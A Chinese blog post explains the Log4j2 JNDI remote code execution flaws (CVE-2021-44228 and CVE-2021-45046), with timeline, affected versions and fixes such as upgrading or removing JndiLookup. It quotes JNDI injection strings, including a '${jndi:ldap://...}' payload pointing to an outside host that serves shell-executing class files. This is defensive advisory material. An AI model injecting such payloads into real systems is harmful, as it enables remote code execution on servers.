Apache Log4j2 远程代码执行漏洞怎么排查修复

Java技术 潘老师 2年前 (2021-12-29) 1183 ℃ (0) 扫码查看

Apache Log4j2 对于Java开发人员真是太熟悉不过了,基本每个Java Web项目都会用到,最近,Log4j2竟然爆出有安全漏洞,涉及范围甚是广泛,几乎波及全球,就连我的小站都未能幸免被尝试攻击,因为在这个期间经常有人在我博客评论内容类似:${JNDI:ldap//127.0.0.1......}内容,毫无疑问就是在攻击我~。

这个Log4j2中存在JNDI注入漏洞可怕之处就在于,漏洞利用无需特殊配置,当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。简直太恐怖,如下图就是利用此漏洞执行远程代码调用打开计算器的效果:
Apache Log4j2 远程代码执行漏洞怎么排查修复
一般代码里会记录请求参数 如登录时记录 log.info("user:{} is login", name); 这个 name 是前台传过来的参数。如果前台传的是构造的参数如:${jndi:ldap://gitee.com/rodert/exp}。exp 返回的是一个构造方法里执行 shell 代码的 class 文件。

就问你怕不怕!

另外,对于阿里云发现该漏洞竟然没第一时间上报国家工信部,而是最先反馈给apache,提出强烈批评!下面来看下该漏洞的具体详情以及如何排查修复:

近日,阿里云计算有限公司发现阿帕奇Log4j2组件存在远程代码执行漏洞。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过。2021年12月15日,Apache官方发布Log4j 2.16.0 以及 2.12.2 版本,修复CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞。

时间线

– 2021年12月9日,阿里云安全团队发布 Apache Log4j2 远程代码执行漏洞(CVE-2021-44228) 安全通告

– 2021年12月10日,阿里云安全团队发现绕过,更新建议修复版本为 Apache Log4j 2.15.0 及其以上。

– 2021年12月15日,阿里云安全团队更新安全建议,更新建议修复版本为 Apache Log4j 2.16.0 以及 Apache Log4j 2.12.2 安全版本。

漏洞描述

Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2Apache SolrApache DruidApache Flink等均受影响。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,2021年12月15日,Apache官方发布Log4j 2.16.0 以及 2.12.2 版本,修复CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

漏洞评级

CVE-2021-44228 Apache Log4j 远程代码执行漏洞 严重

CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞 严重

影响版本

注:Apache Log4j 1.x 版本不受此次漏洞影响。

CVE-2021-44228 Apache Log4j 远程代码执行漏洞:

Apache Log4j 2.x >=2.0-beta9 且 < 2.15.0 (2.12.2 版本不受影响) CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞:

Apache Log4j 2.x >=2.0-beta9 且 < 2.16.0(2.12.2 版本不受影响)

安全建议

(以下任何修复方案均需要重启应用,且可能存在兼容性问题或导致应用服务不可用,请注意评估修复操作风险)

1、排查应用是否引入了Apache log4j-core Jar包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响。同时为了避免在Apache Log4j 2.15.0版本中某些自定义配置而可能导致的JNDI注入或拒绝服务攻击,请尽快升级Apache Log4j2所有相关应用到 2.16.0 或者 2.12.2 及其以上版本,地址 https://logging.apache.org/log4j/2.x/download.html

2、对于 Java 8 及其以上用户,建议升级 Apache Log4j2 至 2.16.0 版本。

3、对于 Java 7 用户,建议升级至 Apache Log4j 2.12.2 版本,该版本为安全版本,用于解决兼容性问题。

4、对于其余暂时无法升级版本的用户,建议删除JndiLookup,可用以下命令

 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

5、升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink

6、其余临时缓解方案可参见 https://logging.apache.org/log4j/2.x/security.html 。目前已有安全版本,强烈建议不要采用临时缓解方案进行防御。

7、该漏洞持续跟进阿里云官方报告

补充说明

对于spring-boot-starter-log4j2中使用的log4j2漏洞,我们可以直接升级spring-boot-starter-log4j22.5.82.6.2版本。

因为12月22日,Spring官方发布了Spring Boot 2.5.8(包括46个错误修复、文档改进和依赖项升级)和2.6.2(包括55个错误修复、文档改进和依赖项升级)。

如果有兴趣看下Apache Log4j2 远程代码执行漏洞审计分析与复现,可以参考下https://mp.weixin.qq.com/s/15zcLEk6_x2enszhim9afA

希望涉及到Apache Log4j2存在漏洞版本的应用,尽快修复,正在开发的应用,应立即更新为最新版,漏洞无小事,需要多重视!


版权声明:本站文章,如无说明,均为本站原创,转载请注明文章来源。如有侵权,请联系博主删除。
本文链接:https://www.panziye.com/java/4098.html
喜欢 (3)
请潘老师喝杯Coffee吧!】
分享 (0)
用户头像
发表我的评论
取消评论
表情 贴图 签到 代码

Hi,您需要填写昵称和邮箱!

  • 昵称【必填】
  • 邮箱【必填】
  • 网址【可选】